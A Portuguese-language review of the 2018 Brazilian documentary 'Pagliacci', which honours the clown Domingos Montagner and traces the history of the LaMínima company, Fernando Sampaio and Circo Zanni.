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Filme destaca palhaços Montagner e Sampaio

 

Lu Lima, produtora, e o cartaz do filme Pagliacci / Foto Divulgação

 

Mônica Rodrigues da Costa, especial para Panis & Circus* 

O filme “Pagliacci”, lançado em abril, está em cartaz no cine Belas Artes, na capital paulista. A fita acompanha ensaios da peça de teatro de mesmo nome, que estreou no ano anterior e marca a ausência do ator e palhaço Domingos Montagner (1962-2016) do grupo LaMínima, dele e de Fernando Sampaio, que comemora 20 anos de existência.

O espectador assiste a depoimentos emocionados desses artistas e de muitos de seus pares sobre as artes circenses, como o palhaço Picolino 2, Roger Avanzi, ícone do picadeiro paulistano. Conhece também um pouco da história do grupo LaMínima e do Circo Zanni.

 

Roger Avancini, Picolino, olha retrato em que aparece Fernando Sampaio e Domingos Montagner / Divulgação

 

Os personagens desse documentário procuram explicar a arte popular do picadeiro e apontar os caminhos híbridos que o circo trilhou e trilha na cultura brasileira. De um lado,  Sampaio e Montagner, do LaMínima, Carla Candiotto, Beto Andreetta, Beto Lima (1957-2005), Carla Candiotto, Alexandra Golik, Alexandre Roit, Fernando Paz, o grupo Parlapatões, entre vários outros, possuem identidade própria de quem experimentou caminhos singulares. De  outro lado, essa geração de artistas se volta ao passado da cultura popular e, com o procedimento oswaldiano da devoração antropofágica, assimila as artes do picadeiro; a linguagem do mito; as práticas de colagem e bricolagem da arte moderna e a peculiaridade do que é contemporâneo.

O documentário deixa claro o entrelaçamento desses caminhos, que a um só tempo representam a arte de inovar e a recuperação da tradição no ícone síntese de tudo isso que é o circo Zanni.

 

Fernando Sampaio na peça Pagliacci / Foto Asa Campos

 

Dirigido por Chico Gomes, Julio Hey, Luiza Villaça, Pedro Moscalcoff e Luiz Villaça, “Pagliacci” não tem roteiro linear nem um conjunto de personagens que dê ao filme amplitude estatística, mas tem a justaposição de conversas e falas, que mexe com a emoção do espectador pela impressão provocada, de saudade, memória, homenagem, isso tudo junto e não necessariamente em ordem evolutiva.

O documentário “Pagliacci” é uma revelação para quem conhece pouco as artes do picadeiro no Brasil e é um filme que deixa um gosto de quero mais no espectador, que anseia para conhecer melhor o grupo LaMínima e a trajetória de Domingos Montagner e Fernando Sampaio, a história dos palhaços e as características do circo tradicional e do novo, sua conceituação e expressividade.

“Pagliacci” alterna o making off da peça de teatro, que tem Carla Candiotto e Alexandre Roit como integrantes do elenco, entre outros, e a história do circo com personagens que se entrecruzam na linha do tempo, como Fernando Sampaio e Roger Avanzi, o tradicional palhaço Picolino 2.

 

Elenco da peça e do filme Pagliacci / Foto Asa Campos

 

O filme está em cartaz no cinema Belas Artes na capital paulista. A peça, que tem direção de Chico Pelúcio e dramaturgia de Luís Alberto de Abreu, volta e meia entrará em cartaz em uma e outra cidade do Brasil na itinerância habitual do teatro.

No contexto em que o documentário foi lançado e da forma como é veiculado, “Pagliacci” é em primeiro lugar uma homenagem ao artista Domingos Montagner (1962-2016). Impossível encarar o personagem além da perspectiva do protagonista, mesmo que em muitas cenas a referência a Domingos tenha ficado indireta ou elíptica.

 

Comovente a fala de Domingos sobre circo no filme / Foto Divulgação

 

Domingos foi palhaço, sócio do Circo Zanni e ator de novela em canal aberto, na Rede Globo. Objeto de interesse em rede nacional e um galã e tanto, mesmo que involuntariamente. No documentário, ele procura explicar a arte do circo e conta que cada vez mais seu grupo foi se aproximando da tradição: “O palhaço tem uma simplicidade de alcance popular, ele se aproxima do público, que é seu igual”.

 

Domingos com nariz de palhaço / Foto Divulgação

 

O filme procura explicar por que a arte do circo é essencial para o presente e então localiza em um mapeamento utópico (porque incompleto pela própria natureza do mapeamento) o papel de Domingos Montagner como circense no Brasil e a relação desse também acrobata com seus pares contemporâneos.

Alternadamente apresenta um panorama da história do La Mínima, grupo criado pela dupla de palhaços Duma e Padoca, encarnada por Domingos Montagner e Fernando Sampaio.

“Pagliacci” faz-nos rever em vídeos muitas vezes caseiros as cenas que nos fizeram rir décadas atrás quando os dois se apresentaram ao vivo pela primeira vez. Impossível esquecer as bailarinas, as dançarinas de cancã, os mendigos, o Sancho Pança e o Dom Quixote.

 

Fernando Sampaio e Domingos Montagner em Bailarinas / Foto Divulgação

 

Rever as cenas do teatro filmado e documentado do LaMínima e de outros grupos circenses que aparecem no documentário evoca a história do picadeiro, com suas coisas belas e ilusão.

 

Trajetória do LaMínima

A mulher de Domingos Montagner,  Luciana Lima é produtora cultural, integrante da La Mínima desde 2000 e produtora do documentário. A LaMínima fez sucesso e recebeu prêmios quando montou HQ de Laerte (“A Noite dos Palhaços Mudos”, de 2008). Em 2009 recebeu o prêmio conjunto de melhor ator do Prêmio Shell de Teatro em São Paulo.

LaMínima tem projeção internacional e parte do teatro físico como linguagem, gestos significativos e síntese verbal.

Domingos participou de montagens inesquecíveis, como “Olho da Rua” (1993), o primeiro trabalho de Montagner com a companhia, “Olhos Vermelhos” (2003), adaptação da Antígona de Sófocles, e “Flor de Obsessão” (1996), inspirada na obra de Nelson Rodrigues e dirigida pelo excelente Francisco Medeiros.

 

A Noite dos Palhaços Mudos/Foto Carlos Gueller

 

Do artista da perna de pau na encenação “O Vaqueiro e o Bicho Froxo” em 1997, até os famosos números hilariantes das dançarinas e de can can no trapézio, personagens de Montagner e Sampaio em LaMínima.

Domingos Montagner e Fernando Sampaio são astros que desafiam a comédia e o trapézio.

O La Mínima foi formado pela dupla em 1997. Começou como teatro de rua. Fernando e Domingos se conheceram no Circo Escola Picadeiro em 1989, onde tiveram aulas com o palhaço clássico Picolino II (Roger Avanzi) e onde se tornaram acrobatas cômicos, exercitando experimentações estéticas. No primeiro espetáculo da nova companhia, “La Mínima Cia. de Ballet”, Domingos e Fernando trabalharam com os diretores convidados Leo Bassi e Chacovachi.

A dupla também conseguiu, ao lado de Laerte e do diretor Alvaro Assad, dar vida a personagens de história em quadrinhos cuja montagem ganhou o título de “A Noite dos Palhaços Mudos”, o que rendeu a dupla, Domingos Montagner e Fernando Sampaio, o prêmio Shell de melhor ator (2008).

Explicou Domingos sobre o espetáculo: “É quase cartum e praticamente uma história em quadrinhos, é encenado dessa forma, os recortes de luz, as cenas que se passam como se fossem tirinhas. A gente armou a movimentação sempre assim, fez referências diretas aos quadrinhos, mantendo a atmosfera, a energia, a característica dos palhaços personagens. A gente procurou manter o grafismo da HQ, porque Laerte é um mestre do traço”.

 

Domingos com a trupe do Circo Zanni /Foto Asa Campos

 

Para Domingos Montagner, o Circo Zanni representava uma espécie de síntese de seu trabalho de artista e teve o papel de recolocar o picadeiro de lona em circulação.

 

“Pagliacci”
Brasil, 2018. Direção: Chico Gomes, Julio Hey, Luiza Villaça, Pedro Moscalcoff e Luiz Villaça. 73 min. Livre.

 

Fernando Paz e elenco em cena de Pagliacci

 

Ao fundo o desenho de Domingos Montagner

 

Cena de Pagliacci no teatro: adeus a Domingos / Fotos Asa Campos

 

*Mônica Rodrigues da Costa, jornalista frila, professora e poeta, doutora em comunicação e semiótica (PUC/SP) e crítica de teatro e circo.

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